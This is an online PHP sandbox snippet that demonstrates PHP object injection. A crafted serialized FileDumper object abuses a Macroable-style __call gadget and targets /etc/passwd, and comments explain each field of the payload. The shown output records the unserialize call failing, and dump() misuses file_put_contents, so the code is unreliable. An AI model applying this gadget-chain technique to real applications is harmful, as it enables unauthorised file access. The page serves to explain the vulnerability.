Online PHP editor | rfc for 33cmF

@ 2018-02-11T20:11:47Z

<?php

class FileDumper {
    private $filename;
    
    public function __construct($filename) {
        $this->filename = $filename;
    }
    
    public function dump() {
        file_put_contents($this->filename);
    }
    
    //
    // Below is basically what Macroable does
    //
    
    private $macros = [];
    
    public function macro($name, $callable) {
        $this->macros[$name] = $callable;
    }
    
    public function __call($name, $arguments) {
        return call_user_func_array($this->macros[$name], $arguments);
    }
}

$exampleFileDumper = new FileDumper('/foo/bar.txt');
echo serialize($exampleFileDumper); // The plain, unedited FileDumper object

// This is the one we tampered with
$serialized = 'O:10:"FileDumper":2:{s:20:"FileDumperfilename";s:11:"/etc/passwd";s:18:"FileDumpermacros";a:1:{s:4:"open";a:2:{i:0;r:1;i:1;s:4:"dump";}}}';


/*
Neatly formatted with explanations:

O:10:"FileDumper":2:{                   # instance of FileDumper class with 2 properties
    s:20:"FileDumperfilename";          # property "filename" on "FileDumper"
    s:11:"/etc/passwd";                 # altered to "/etc/passwd" - note the different length
    s:18:"FileDumpermacros";            # property "macros" on "FileDumper" - this was empty before, but we added something to it
    a:1:{                               # it's an array with one element
        s:4:"open";                     # under the key "open":
        a:2:{                           # an array with 2 elements
            i:0;                        # under key 0:
            r:1;                        # a reference to the object itself (essentially just $this)
            i:1;                        # and under key 1:
            s:4:"dump";                 # the string "dump"
        }
    }
}
*/

$modifiedDumper = unserialize($serialized);
$modifiedDumper->open();

Output for git.master, git.master_jit: O:10:"FileDumper":2:{s:20:"FileDumperfilename";s:12:"/foo/bar.txt";s:18:"FileDumpermacros";a:0:{}} Notice: unserialize(): Error at offset 47 of 137 bytes in /in/33cmF on line 55 Fatal error: Uncaught Error: Call to a member function open() on bool in /in/33cmF:56 Stack trace: #0 {main} thrown in /in/33cmF on line 56
Process exited with code 255.
Output for rfc.property-hooks: O:10:"FileDumper":2:{s:20:"FileDumperfilename";s:12:"/foo/bar.txt";s:18:"FileDumpermacros";a:0:{}} Warning: unserialize(): Error at offset 47 of 137 bytes in /in/33cmF on line 55 Fatal error: Uncaught Error: Call to a member function open() on false in /in/33cmF:56 Stack trace: #0 {main} thrown in /in/33cmF on line 56
Process exited with code 255.

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